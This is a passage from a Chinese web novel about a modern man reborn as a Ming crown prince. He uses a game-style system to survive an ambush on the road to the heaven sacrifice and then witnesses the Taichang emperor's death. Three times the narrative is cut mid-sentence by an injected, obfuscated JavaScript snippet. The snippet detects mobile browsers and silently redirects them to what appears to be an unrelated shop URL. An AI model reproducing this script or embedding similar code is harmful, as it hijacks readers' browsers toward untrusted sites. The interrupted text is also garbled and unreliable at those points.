张居正并愿不起:“孩儿只是想告诉娘,无论将来去哪里,心里最记挂的永远是娘。” 陈氏的手顿住了,她低头看着女儿乌黑的发顶良久,才轻声道:“嫣儿,你是不是有什么事瞒着我?” 张居正垂首不语,她并非优柔寡断的性格,想做的事,死也得去做。 “你不说,母亲也不逼你。”陈氏抚着她的背,像在轻哄刚出生的婴孩,“我只知道,你从小就比别人聪明。你父亲常说,你很像史书里的那些有韬略的人,所以,你若真有了打算,定然是深思熟虑过的,我信你。” 此刻,两位母亲的面庞似乎重叠在一起,张居正知道她要走的这条路并不比前世轻松,还有太多无法掌控的东西。 不在其位,不谋其政。 从前张居正虽能体恤女子辛苦,却局限于士大夫的身份,认为通过约束男子善待亲眷便是大善。 可其实,将自身利益寄托在旁人身上本就是一种冒险。 于宦海中,父子也会反目,师徒亦能成仇,丈夫若是不堪,妻子为何不能弃之? 世人赞颂的同甘苦共患难的美德,应当是两心相许而自发的不离不弃,并非为了赞颂贤淑坚贞强行造就。 张居正即便位极人臣,也得寻一门妥当亲事使女儿免受世人言语所伤,又如何置喙陈氏拳拳爱女之心? 如今转世为女子,方觉天高地阔却无处施展拳脚,纵使考上女官都没法如前世般铁腕推行改革,她不想再浪费时间搞党争,只有做到女子所能及的最高地位,继续擅权独断才有一丝转机。 皇帝记仇没关系,你能弄死老师全家,总不能弄死老母全家。 这是张居正总结前辈经验得出的暴论。 万历就差在不是张居正亲生的,如果是,张居正一定多生几个。 总不可能每个都跟万历一样拟人。 张居正没有逃避生孩子的问题,前辈强悍的身体素质令她羡慕,所以人家能当皇帝,不会差点被儿子从棺材里拖出来鞭尸。 她都愿意生孩子了,还会在乎什么三纲五常吗? 请记住,是万历把她引到一条老师不像老师,孙媳不像孙媳的路上去的。 总而言之,张居正绝不管他叫爷爷。 她抬起头,凝视母亲仁慈的眼:“不管孩儿想做什么,娘都不会怪我吗?” 淡金色晨光披覆在母女之间,尘埃飘浮于光柱中缓缓流转。 陈氏笑了,柔和得像春日里初化冻的溪水:“我的嫣儿从来就不是池中之物,你想飞,就去飞吧,娘只希望你别忘了回家的路。” 她握住女儿的手,握得很紧,仿佛早就知道这孩子终究会走向更广阔的天地。 可怜天下父母心。 泰昌元年八月初九。 司礼监掌印太监王安捧着明黄绢帛走出乾清宫,身后跟着八名太监,皆着礼服,手持仪仗,脚步整齐划一。 奉天殿前,百官已列队等候。 方从哲站在文官队列最前端,须发在晨风中微微飘动。他侧头看了眼身边的刘一燝,低声道:“今日之后,国本定矣。” 刘一燝颔首,目光投向殿门方向:“只盼殿下不负众望。” 韩爌站在二人身后没说话,只想着传承有序合乎礼法,此时谁都不知道才刚稳定的帝位短短几日内又将动荡。 “皇长孙殿下到——” 朱笑笑一身杏黄礼服,头戴翼善冠,腰束玉带,步履沉稳地踏上丹陛。十五岁的少年身量虽未完全长成,但脊背挺直如松,行走间袍袖微动,自有一股从容气度。 他走到御阶前跪拜行礼。 王安展开诏书,尖细的声音在晨风中传开。 “奉天承运皇帝,诏曰:皇长子由校,日表英奇,天资粹美,载稽典礼,俯顺舆情,谨告天地、宗庙、社稷,授以册宝,立为皇太子,正位东宫……” 诏书很长,文绉绉的套话一堆。 朱笑笑垂首听着,内心却平静无波,脑中的系统界面在诏书念到立为皇太子时猛地跳出了一条提示。 【主线任务:避免大明灭亡,进度更新:3.1%】 【获得阶段性奖励:工匠值+5000,改变历史节点额外奖励:工匠值+3000,任意商品体验卡(有效期限24小时)x1,当前工匠值:12357点】 【解锁新权限:VIP商城】 朱笑笑保持跪姿,在系统结束播报的瞬间全款拿下【初级身体素质强化】,刹时一股暖流涌遍四肢百骸,腰不酸腿不疼了,浑身充满力量,感觉自己是体育生。 秒变武林高手是不可能的,顶多让人无病无灾活到一百岁,普通感冒发烧基本绝缘了,连见血封喉的毒药都能坚持到沾血写完凶手全名。 朱笑笑很满意,打开VIP商城看一眼后,却再次感受到了贫穷,忍不住口吐芬芳。 上千万工匠值真是靠人类的力量能攒到的吗我就问! 任意商品体验卡倒有点金手指的质量,适合用来白嫖。 但他暂时没空去翻看VIP商城的东西。 诏书念毕,王安合上绢帛,躬身道:“请太子殿下接旨。” 朱笑笑双手高举过头,接过那卷沉重的圣旨。 “臣等叩见太子殿下——” 百官齐声跪拜,声震殿宇。 朱笑笑转身,嗓音清朗:“诸位请起。” 皇太子册封的旧例很多,所以进展极快,也如他所想狠狠收割了一波奖励,但名臣名将卡池依然没激活,在知道抽卡规则前,他不是很敢放纵消费。 【距离泰昌帝驾崩:18天15小时36分】 这个固定在右下角展示的倒计时以一种无规律的频率闪烁着,上面的数字好像电流不稳不时冒出雪花,似乎在昭示着有什么非同寻常的事情就要发生了。 朱笑笑若有所思,成为太子这件事是他为了增强继位合法性推动的,别看朝臣对此乐见其成,那是因为他们不知道泰昌帝没几天好活了。 否则就给太子选个老师,人脑袋都能打成狗脑袋。 郑贵妃打的正是这个时间差,等她以迅雷不及掩耳之势薅光朱常洛一脉后,朝臣们不想立朱常洵都不行,毕竟是他们整天吵嚷着立长子的。 好了,现在朱常洵成了长子,你就说你立不立吧! 多年前打出的子弹终于射中自己,那滋味。 朱笑笑不在乎他们的复杂心情,看着忽隐忽现的死亡倒计时暗想,泰昌帝突然百病全消健步如飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275288|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不可能的。 他还是会死,或许,死得更早了? 册立大典持续了整整一个时辰。午时刚过,乾清宫传出消息,泰昌帝又烧起来了。 太医院会诊,结论还是那套邪热入里需静养的车轱辘话。 内阁坐不住了,皇帝病成这样,五天后的祭天大典怎么办? 三位阁老再次进宫面圣,询问是否延后或取消祭天。 泰昌帝躺在榻上,脸色蜡黄,说话都带喘:“祭天,祭天不可废……” “陛下龙体为重。”方从哲躬身,“臣等以为,可由太子代行。” 反正太子名分已定,代皇帝祭天这种事之前也常有,算不上僭越。 泰昌帝并没有废掉长子的打算,也觉得让太子代替一次问题不大,从善如流:“准奏。” 旨意颁下,朝野反应还算正常,慈宁宫里,郑贵妃却摔了第二套瓷器。 永乐青花碎片溅了一地,郑贵妃重重拍向桌面,脸色铁青:“太子,祭天……好啊,这个贱种以为后继有人就万事大吉了吗!” 崔文升跪在一旁,大气不敢喘。 “崔文升!”郑贵妃忽然转头,眼神阴得像毒蛇,“你那副药打算什么时候喂他吃下去!” 崔文升冷汗直冒,“陛下这几日汤药不断,奴婢贸然进献恐……” “恐什么!”郑贵妃又拍桌子,“他不死,我们母子还有活路吗?最迟明日,那副药你一定要给他灌下去!” “是,是!奴婢遵旨!”崔文升牙齿震颤,磕头如捣蒜。 郑贵妃盯着窗外,忽然笑了:“祭天?山路难行,谁知道藏着什么妖魔鬼怪,万一太子遇刺……” 她没有说完,但崔文升懂了,咬紧牙关道:“奴婢这就去传话给国舅爷。” 郑国泰自得了宫中授意,心中便如揣了团炭火,八月十二日这夜戌时方过,忙换了身灰布直裰做商人打扮,只带两名心腹家丁悄悄出了朝阳门,直奔通州码头而去。 通州乃漕运咽喉,三教九流混杂。郑国泰一行并不惹眼,他熟门熟路上了艘不起眼的漕船,弯腰钻进底舱,留家丁在外把守。 舱中早有一人在此等候。 此人看着三十出头,青衫方巾,见郑国泰进来,只略抬了抬眼:“国舅爷来了。” 郑国泰认得,这人便是范文程,辽东抚顺人氏,秀才功名,四年前投了建州努尔哈赤,如今是虏酋帐下第一得用的汉人谋士。 “范先生久候。”他拱拱手,在舱中唯一剩下那张破木凳上坐了,只觉得屁股底下湿漉漉的,也不知是潮气还是冷汗。 范文程不急不缓地倒了碗粗茶推过去:“国舅爷先前说的那件事,可是定了?” 郑国泰端起碗,闻言手有些抖,洒出几滴茶水。 他定了定神,压低声音道:“八月十五辰时,太子代天子祭天,仪仗必经西山鹰嘴崖。那是处险地,路窄林密……” “范某知道。”范文程打断他,从袖中取出一卷粗纸在油灯下展开,竟是西山一带的精细舆图,山川道路标注分明,鹰嘴崖处还用红笔画了个刺眼的圈。 郑国泰倒吸一口凉气:“先生这是?” “既要办事,自然得先勘明地形。”范文程语带不屑,这些消息只要有钱就能买到。 京营?早就烂透了! 7. 皇雀在后 范文程指尖点着那个红圈,继续道:“那处崖高十五丈,官道在崖下盘绕而过,最窄处不足两丈。” 郑国泰咽了口唾沫:“敢问先生,人手可够?” “三十名弓手俱是百步穿杨的好手,埋伏在崖顶这两处。”范文程指着图上两处标记,“二十名刀手藏于道旁密林,专截后路。另有五人在三里外山口望风,若有大队官兵异动,以响箭为号。” 他抬眼看向郑国泰:“五十人对二百仪仗护卫本是以卵击石,但占了地利,攻其不备,能有七成把握。” “才七成?”郑国泰脱口而出。 其实范文程只是谦虚一下,按照明军如今的战斗力,还是仪仗护卫,五十个练家子简直随便乱杀,所以他笑容里带着三分讥诮,故意夸大。 “国舅爷,那是当朝太子,不是山野草寇。七成把握已是搏命之数,若想十成十……”他停顿一下,“除非国舅爷能调来神机营的火炮。” 郑国泰脸色一白,调火炮?那还不如直接扯旗造反算了。 他思忖半晌,终于从怀中摸出个巴掌大的木匣,咬牙推到范文程面前:“这是定金,三百两金票!京城四大钱庄皆可兑付。事成之后,关外马市分你三成利。” 范文程打开木匣就着灯光瞥了一眼,金票厚厚一叠,最上头那张宝昌号的朱红印鉴格外醒目。 他合上匣子,却不急着收起,反而慢悠悠道:“三成利?国舅爷好大方。只是范某有一事不明,您与太子有何深仇大恨,非要行此险招?” 这就是明知故问了。 郑国泰脸上肌肉抽了抽,拳头攥得咯咯响:“我妹子在宫中经营数十年,岂能输给一个黄口小儿?此番只要除了他,陛下伤心之下怕是也支撑不住,朝臣除了福王还能拥立谁?到那时……” 到那时,郑家才是真正的后族,权倾朝野! 范文程心中冷笑,蠢货!真当杀了太子就能高枕无忧?国本争了这么多年,那些老狐狸岂会甘心福王上位。 不过,你们就搅吧,不搅个天翻地覆,他的主子怎么渔翁得利呢? “范某明白了。” 范文程假意恭维,“那就祝国舅爷早日如愿以偿。” 接着他们又低声商议了些细节,何时埋伏,如何动手等。油灯的火苗越来越暗,舱外河水哗啦哗啦拍打船板,像是催命的更鼓。 过了约莫一刻钟,两人才先后摸黑出了底舱。郑国泰低着头匆匆下了跳板,很快消失在码头阴影里。 范文程站在船头警惕地打量四周,见风平浪静,才转身对船夫道:“开船,回张家湾。” 漕船缓缓离岸,船行出半里,码头灯火越来越远,渐渐融成一片模糊的光晕。 范文程掂了掂手中沉甸甸的木匣,心头火热。 三百两金票,三成马市利润,若成了,他在建州的地位将再无人可撼动! 码头阴影里,一艘小渔船的舱内有两人正低声交谈。 “看清了?” “看清了。错不了,就是郑国泰。” “好。速报骆指挥使,八月十五,西山鹰嘴崖五十人伏击太子车驾,郑国泰通虏,证据确凿。” “是!” 舱窗悄无声息地合上。 不远处渔船的老渔夫收起了渔网,哼着俚曲缓缓荡向河心。 泰昌元年八月十五。 寅时未至,承天门外已是乌泱泱一片。 文武百官按品级列队,晨雾如纱,将紫禁城的朱墙黄瓦笼得影影绰绰,檐角兽吻隐在雾气里蛰伏巡视。 文官队列前头,东林诸公自成一片。左都御史高攀龙捋着山羊须,眼皮半垂似在养神。身旁的吏科给事中杨涟却腰背挺得笔直,目光如炬,不时扫向丹陛方向。 “杨大人。”高攀龙慢悠悠开口,声音不大,只两人能听见,“今日太子代祭,你看吉凶如何?” 杨涟目不斜视:“礼法所在,自是吉兆。只是太子年幼,又素好木工嬉戏,此番代天子祭天恐失庄重。” 周围几个官员听见了,跟着议论起来。 有人低声道:“前几日立储大典,太子接诏时步履沉稳,倒不似传闻那般轻佻……” “表象罢了。”另一人接口,“你可知他宫中堆了多少木料?先帝丧期未过便终日斧凿不停,成何体统!” 声音虽压得低,但还是传开些许,站在前排的方从哲眉头微皱,回头瞥了一眼,那几个官员立刻噤声。 方从哲心情有些复杂,太子纯孝做不得假,只是治理朝政光有孝心够么?这些人他都未必摆布得开,看来要尽快给太子挑个好老师了。 “方阁老。”兵科给事中魏大中在他身后唤了一声,“下官听闻昨夜城中似有异动,锦衣卫活动频繁,今日祭天路途遥远,是否该增派护卫?” 这话问得刁钻。若说该增派,显得太子怯懦,若说不该,万一出事又是首辅之责。 方从哲面色不动:“护卫规制,礼部早已定下。太子代天子祭天,仪仗护卫皆按天子半幅,共二百人。魏大人若觉不妥,自可上疏直言。” 魏大中碰了个软钉子,讪讪退后。 武官那侧,气氛又自不同。 勋贵们聚在一处,站在最前的是英国公张维贤,这位靖难功臣后裔已年近六旬,但腰刀仍挎得稳当,屹立如山。 成国公朱纯臣站在他身侧,正低头整理着袖口的箭纹,他是成国公朱能之后,与英国公素来有些龃龉。 “英国公。”朱纯臣抬眼看了看天色,“寅时三刻了,太子殿下还未至,这祭天吉时可耽误不得啊。” 张维贤瞥他一眼,声音浑厚:“成国公急什么?衣饰繁琐,穿戴衮冕总要费些时辰,倒是老夫听说,前日成国公府上又新得了几匹大宛良驹?” 朱纯臣脸色一僵,先帝丧期未过,皇帝又病着,这种时候玩马的名声传出去可就显得没心没肺了,还容易摸不着头脑。 “不过是友人寄存……”朱纯臣尴尬地笑笑,含糊揭过。 张维贤轻哼了一声,也不计较,太子好木工咋了?吃你家饭了?总比好炼丹求长生好吧。 半柱香后,晨雾渐散,天边透出些淡青色。 忽听午门内钟鼓齐鸣,百官精神一振,纷纷整冠理袍。 “太子殿下驾到——” 唱名声层层递出,从午门到承天门,太监宫娥分列两侧,明黄轿舆抬至丹陛下停稳,朱笑笑弯身出轿。 他身着皇太子祭服,玄衣黄裳,上绣九章纹,腰间系金玉革带,头戴九旒冕冠,珠帘垂落遮住大半面容。 这一身行头足有二十多斤重,饶是他转职体育生都差点扛不动。 朱笑笑面不改色接受百官朝拜,紧接着礼部尚书孙如游出列,捧着一卷黄绫开始念祭天仪程。 随后车驾起行,杏黄帷幔低垂,朱轮碾过御道青石板,辘辘声沉如闷雷。 礼乐奏响,编钟与笙箫合鸣,百官随扈,队伍缓缓移动,仿佛巨蟒蜿蜒出了承天门。 文臣乘轿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275289|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武将骑马,勋贵车驾紧随太子仪仗之后。 出了正阳门外,队伍行至西山脚下。 官道在此处拐了个急弯,左侧峭壁如削,右侧深谷幽静。昨夜秋雨未歇,山道上满是泥泞,车马行进艰难。 忽听前方斥候急报:“禀统领!前方有巨石挡道,似是新近滑坡!” 只见百步外山道中央一块半人高的青石横卧,石上苔藓鲜绿,确像是刚从山壁滚落。 禁军统领忙带几个人上前处理,便在此刻,一支鸣镝突兀地撕裂薄雾,自左侧峭壁顶端尖啸而下,正钉在禁军统领马前三尺处。 箭尾白羽剧颤,嗡嗡作响。 禁军统领大惊,勒马高呼:“敌袭!” 吼声未落,峭壁上忽现数十黑影如猿猴般贴壁而下,速度快得骇人。几乎同时,右侧密林中弓弦震响,箭雨铺天盖地泼洒而来。 “护驾!结阵!” 禁军到底是京营精锐,虽惊不乱。护盾瞬间竖起连成一道铁墙,箭矢叮叮当当钉在盾面,力道之大,竟将持盾军士震得后退半步。 “这不是寻常山匪!”英国公张维贤打马上前,他眼光老辣,早看出端倪拔刀在手,“弩箭制式统一,齐射有序,是军中手段!” 话音未落,左侧那数十黑影已然落地,清一色黑衣劲装,面蒙黑巾,手中兵刃狭长,在晨光中泛着清冷锋芒。 他们落地后毫不迟疑,三人一组呈楔形直扑中军砍杀。 张维贤扬刀接下一击,只觉虎口发麻,心中骇然,当即暴喝一声,刀势转向刚猛,直劈对方天灵。 “国公小心!”见他陷入围攻,两名亲兵连忙挺枪来救。 右侧密林中的箭雨未歇,禁军弓弩手齐射还击,但林中敌手借着树木掩护,连换身位极难锁定。更有数名黑衣弓手攀上高树隐蔽,专射文官轿辇,已有两顶轿子被射成刺猬,里头官员的惨叫声凄厉刺耳。 方从哲被亲随护卫滚下轿子,老首辅官帽跌落,花白头发散乱,仆从拼命把他拖到一块山石后。 朱纯臣的车驾早退到队尾,命家丁竖盾围成小圈,自己躲在车里,只从车窗缝隙往外窥探。与他一般的勋贵不在少数,各自结阵自保,无一人上前助战。 张维贤看在眼里,心中发冷却无暇斥责,嘶声下令:“结圆阵!护住中军!” 禁军勉强收缩防线,以太子车驾为中心结成三层圆阵,但黑衣刀手攻势如潮,第一层盾阵已被撕开三道缺口。 正厮杀时,密林中忽响起一声尖锐呼哨。 林中又杀出五人,身着暗褐色皮甲,肩披狼裘,手握三尺余长的直刃,单面开锋,刀脊厚重,柄长可双手握持。 “斩.马刀!”张维贤瞳孔骤缩,他曾听辽东旧部提起,建奴白甲兵善用此刀,专破重甲,一刀可断马首。 那五名刀手步伐整齐,毫不恋战,直取阵型缺口,顷刻间已杀至阵前三十步处,刀尖斜指太子车驾。 方从哲从山石后挣扎起身,眼见太子危在旦夕,嘶声欲喊,却自知无济于事,尽数哑在喉咙里。 天子脚下,一国储君就这样被异族刺客暗中伏杀,何其荒谬! 那些有心无力的忠贞之士无不扼腕,与国同休的勋贵们有的随张维贤厮杀,有的如朱纯臣般冷眼旁观。 各自躲避的百官眼睁睁看着其中一人突破防线,直冲到太子车驾前挥刀砍翻两个禁军,杀气腾腾扑进了杏黄帷幔中。 张维贤目眦欲裂,仿佛已经听到刀锋划开皮肉的声音。 8. 托梦的基本原理 “太子殿下!” 英国公张维贤发出绝望的呐喊,只见车驾剧烈晃动了一下,倏地一声巨响如同穿云裂石。 “砰!” 帷幔上骤然溅开一滩猩红,血迹顺着杏黄绸缎往下淌,淅淅沥沥滴在车辕上。 方从哲两眼一黑,瘫坐在地:“完了,全完了……” 朱纯臣窥见此景,嘴角几不可察地一撇,随即换上悲戚神色,与身边几个勋贵惋惜摇头:“天不佑我大明啊。” 禁军也一时陷入低迷惶恐之中,负责斩首的另外四个狼裘刺客见状,趁机冲将上去,如见了血的狼群齐刷刷扑入车中。 诡异的是帷幔内人影交错,兵刃破风声,倒地闷响,凄厉惨叫不绝于耳。 “砰!砰!砰!” 随之而来的又是三声闷响,每响一声帷幔上便多泼洒一片血迹,到最后,那杏黄绸缎已染成半幅血幕,在晨风中猎猎翻飞,触目惊心。 英国公张维贤正要拼死上前,忽地脚步一顿。 他对火器并不陌生,这几声响怎地有些像鸟铳?可鸟铳发射哪有这般利落?且听这声响间隔不过呼吸之间,寻常火铳装填一发便要半盏茶功夫,莫不是太子车架里另有暗卫? 正惊疑间,那片染血帷幔逐渐被顶开,缝隙里现出黑色的人影倒着退出车驾,赫然是方才的狼裘刺客。 他的脑袋正被一管黑洞洞的枪口抵住,那张高颧细目的脸汗如雨下,两股战战,双眼圆睁如见鬼魅。 朱笑笑持枪逼刺客退出仪架,衮服纤尘不染,众人从掀开的帷幔中隐约能看到四具倒地的尸体,俱在额间或心口开了个血洞,伤口焦黑,似被雷火所灼。 满场死寂。 连厮杀中的黑衣刀手都停了动作,愕然望向车驾方向。 朱笑笑把乌黑铁管又往前送了送,对准狼裘刺客眉心:“你们是谁派来的?” 狼裘刺客浑身剧颤,忽地嘶声怪叫起来:“是妖法!明国怎会有这等雷霆神器?你定是妖孽!我亲手把刀砍在你身上,怎么可能毫发无伤!” 语无伦次,状若疯癫,被几个禁军围上用刀架住。 众臣闻言皆惊。 张维贤快步上前,细看太子周身连块油皮都未曾破,不免震惊,方才那四名刀手皆是白甲精锐,斩.马刀破重甲如撕纸,太子居然有这般身手! “英国公不必忧心。”朱笑笑语气高深莫测,狠装了一波,“全赖太祖皇帝显灵,赐下护体神罩,贼寇才不曾伤孤分毫。” 说着还煞有介事地朝南京方向拱了拱手。 众人面面相觑,文臣将信将疑,朱纯臣却心中冷笑,什么护体神罩,定是内藏宝甲!也就糊弄那些手无缚鸡之力的读书人,这太子毛都没长齐,倒先学会给自己造势了。 与此同时,密林深处忽传来接连不断的惨呼。 但见数十锦衣卫如鬼魅般于林间穿梭,飞鱼服泛着暗红,绣春刀起落如雪轻盈,专攻敌人要害。 没了远程火力压制,禁军压力骤减,很快对余下刀手形成合围。 眼见大势已去,还真有几个刺客弃械跪倒,转眼间便被捆成粽子。 张维贤这才松了口气,再看太子手中那乌黑铁管,忍不住见猎心喜:“殿下,此物是?” 朱笑笑举起手中的枪,一本正经道:“这东西唤作迅雷铳,乃泰西新式火器,去年有弗朗机商人进贡了一把,孤见其机巧,便想日后试试仿造。” 太子关心武备,张维贤很是欣喜,虽仍有疑虑,但泰西火器确有机巧之处,京中勋贵府上藏有几柄鸟铳也不稀奇,只得颔首道:“原来如此,不过今日事发突然,锦衣卫为何来得这般及时?” “孤不是说了,太祖皇帝显灵。”朱笑笑一脸惆怅抬头望天,“昨夜他老人家入梦来见,言西山道险,当有血光之灾,命孤暗遣锦衣卫尾随护卫。” 现场唯一的老实人兼捧哏张维贤恍然大悟:“太祖英明!”看样子是真信了。 英国公啊英国公,你就是不懂得托梦的基本原理。 骆思恭早拿到了刺杀的情报,朱笑笑思前想后,认为在有准备下面对埋伏,比不知道敌人什么时候跳出来给你一刀更有把握,便没有提前干预,而是请君入瓮。 那把枪的外表是燧发枪,但只是为了符合时代贴的外观,实际上是系统商城售卖的现代武器,朱笑笑抠抠搜搜比价半天,才挑中这把杀伤力足够且带自瞄便宜武器,痛失五千大洋。 不花不行,这都开始玩命了。 光有枪还差点意思,虽说七步之外枪快,七步之内枪又快又准,可人家要群殴呢?长兵器,暗器什么的还是防不胜防。 所以朱笑笑狠了狠心,直接用掉任意商品体验卡,从VIP商城换了个金刚不坏的效果。 当刺客飞速近身的时候,他无比庆幸当时的决定。 朱笑笑没练过掏枪速度,身上衣服又太厚,等他哼哧哼哧从袖子里把枪掏出来,狼裘刺客已经冲他脖子正手反手疯狂砍了三四刀,刃都快卷了。 狼裘刺客:……你他妈开挂是吧? 朱笑笑说是啊,时代变了大人,然后一枪一个小朋友。 至于他为什么敢动手杀人,随便找个皇宫住十几年就懂了,坐牢哪有不变态的。 最后朱笑笑做出如下总结:“此刀枪不入之奇迹,全赖太祖神威庇护子孙。” 一句话,我就是天命所归。 那被俘的狼裘刺客听得此言,忽地磕头如捣蒜,用生硬汉话哀嚎:“天神饶命!天神饶命!小的再不敢犯天朝……” 关外建州本就信萨满鬼神,若真以为太子有神明庇佑,吓破胆也是常理。 方从哲整顿衣冠,上前深深一揖:“殿下得天所佑,实乃社稷之福!老臣恳请殿下速离险地,祭天大典……” “照常进行。”朱笑笑打断他,收起燧发枪整了整衣襟,“区区跳梁小丑,岂误国家大典?清点伤亡,整顿仪仗,继续前行。” 语气平淡,却自有一股不容置疑的坚决。 张维贤深深看了这位年轻太子一眼,他今日奋勇杀敌是出于对皇室的效忠,全无投机的想法,不管有没有太祖庇护,太子都是他维护的正统。 朱纯臣此时也下了车,领着几位勋贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275290|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前见礼,口中说着殿下洪福齐天等套话,炽热目光却恨不得烧穿层层叠叠的衣袖多看两眼迅雷铳的模样。 更有些心思活络的官员注意到锦衣卫指挥使骆思恭对太子令出即行的姿态,再联想今日这番布局,心中各自打起算盘。 巳时三刻,天坛。 虽经方才变故,祭天仪仗却不减威仪,只是禁军护卫比来时多了倍余,锦衣卫精锐混迹其中,眼神如鹰。 朱笑笑一步步登上圜丘顶层,手持玉圭依制行礼,诵读祭文时声音清朗平稳,仿佛方才那场生死劫杀从未发生。 赤玄衣裳几乎看不出是否沾染了刺客的血迹。 不多时,朱笑笑便念至祭文末:“伏望皇天上帝,佑我大明江山永固。若有灾厄,愿降于朕身,莫伤黎庶。” 其时晴空万里,青烟直上云霄,耀光加身如神祇。 祭天大典圆满收尾,再无变故。 礼成返程,一路无话。 祭天车驾回至午门已是申时三刻,秋阳西斜,将巍峨宫墙的影子拉得老长。 朱笑笑刚踏下玉辂车辕,英国公张维贤、首辅方从哲等重臣紧随其后,众人方整衣冠,欲依礼告退,忽见午门内踉跄奔出一人。 正是司礼监掌印太监王安。 他官帽歪斜,面色惨白如纸,竟扑跪在太子驾前,额头重重磕在青砖上,声音抖得不成调。 “太子殿下!午后皇爷忽然呕血昏迷,脉息已如游丝,怕是不好了!” 此言无异于惊雷炸响,王安那样稳妥的性子,没到最后关头是不会妄下定论的。 张维贤浑身一震,新帝继位还不过一月吧? 方从哲踉跄倒退两步,若非身后门生搀扶几乎跌倒,东林诸公更是如丧考妣,不禁惶然四顾,似在寻找可倚仗的支柱。 朱笑笑闭目一瞬,清晰看到系统角落从今天开始就闪烁得更加疯狂的倒计时,在经历过几次不甘的卡顿重叠之后,天数以一种无情的速度匆匆归零。 【距离泰昌帝驾崩:24分17秒】 二十四分钟,足够他决定好如何将皇帝之死利益最大化。 朱笑笑缓缓睁眼,再抬头时,眼眶已是一片赤红,声音嘶哑如裂帛。 “父皇!” 这一声悲呼凄厉至极,竟压过了所有嘈杂,他将衮服的下摆一甩,整个人如离弦之箭朝乾清宫方向疾驰而去。 张维贤率先反应过来,对禁军统领喝道:“禁军即刻戒严把守各宫门!”他执掌过京营,深受皇帝倚重,由他下令最能服众。 这时候朱纯臣也不敢跟他唱反调,招呼勋贵们跟在英国公身后随太子赶往乾清宫。 于是午门前出现了罕见一幕。 当朝太子在宫道青砖上狂奔,英国公等勋贵紧随其后,老首辅被两人搀扶着追赶,深红蟒袍下摆拖在地上,数十位绯袍青服的文武官员亦是提着袍角奔跑,官帽歪斜,仪态尽失。 有些人甚至感觉自己进入了奇怪的循环,这奔丧的架势分明二十几天前才发生过啊! 一个月内连死两个皇帝,还有王法吗?还要膝盖吗? 9. 战至最后一刻,自刎归天! 从午门到乾清宫二十分钟极限暴走,朱笑笑独占第一集团遥遥领先。 饶是他及时赶到,面对的也只是殿内一片哭声震天,太医院院使携陪葬天团跪在门口随时准备出道。 院使语调颤抖着对赶来的太子宣布:“臣等无能,陛下,陛下龙驭上宾了!” “不!” 太子痛呼一声,闯入殿内龙榻前,竟不顾仪制整个人扑在皇帝遗体之上,双臂死死环住那已渐僵冷的身躯。 “父皇!您睁开眼看看儿臣,看看儿臣啊!” 哭声真切,涕泪横流。 陆续赶到的勋贵朝臣们远远听见哭声,心知无力回天,纷纷露出戚色,粗喘着收拾酸疼的老胳膊腿,跪在殿外放声大哭起来。 皇帝驾崩,哭丧也是一道流程,大家各哭各的。 朱笑笑将脸埋在皇帝肩颈处,看似抽泣着,实际却是混在满殿哭声中滥竽充数。 【距离泰昌帝驾崩:3分49秒】 人在死亡时最后消失的是听觉,朱笑笑不确定真假。从医生的角度来说,泰昌帝这幅样子宣告死亡完全没问题,但看到系统提示,他姑且当做泰昌帝意识还没有尽数消散。 来得及说些掏心窝子的话。 “爹。” 明朝皇室父母子女间日常称呼与民间无二,朱笑笑把声音压得极低,几乎是凑在泰昌帝耳边。 “您放心去吧,我肯定不是干出孝期开impart这种事的出生。” 泰昌帝残存的意识不足以支撑他虚心求教何为impart,但研究表明,汉字的顺序并不影响阅读,他神奇地听懂了这句话。 或许正为此困惑,惊恐,难以置信,不明白自己的好大儿怎么突然口出狂言,面刺寡人之过。 “我知道你恨皇祖,忍了几十年想享受一下也无妨。可你明知道奶奶被厌弃日子过得多艰难,子女不得喜爱内心又是如何惶惶不安。” “你分明亲身经历了这一切痛苦,却毫不留情地将痛苦加诸给妻妾子女。” “刘淑女何辜?要无端承受你的辱骂殴打!你根本不在乎五弟失去母亲会有多伤心,你只想发泄皇祖施加给你的委屈。” “只有在我们面前,你才能找回绝对权威。你羡慕皇祖的随心所欲,所以你像他宠爱郑贵妃一样宠爱李选侍,为了让李选侍终身有靠,不惜毒杀我母亲。” 朱笑笑语气渐冷,他不是历史专业,不知道朱由检何时丧母,只是出于人道主义关怀积极请医问药才留住了刘淑女的命。 给点缓冲时间,刘淑女大概自己也想通了,舍不得抛下孩子,挣扎着振作起来终究是迈过了这道坎。 但正如朱笑笑所说,他不是历史专业,不知道为什么自己身体健壮无病无灾的母亲会突然病逝。 后来,他明白了。 却也只能在最后弥留的几分钟发泄自己的愤怒。 泰昌帝对他好,不过是担心朱笑笑像他怨恨万历一样内心怨恨着他。 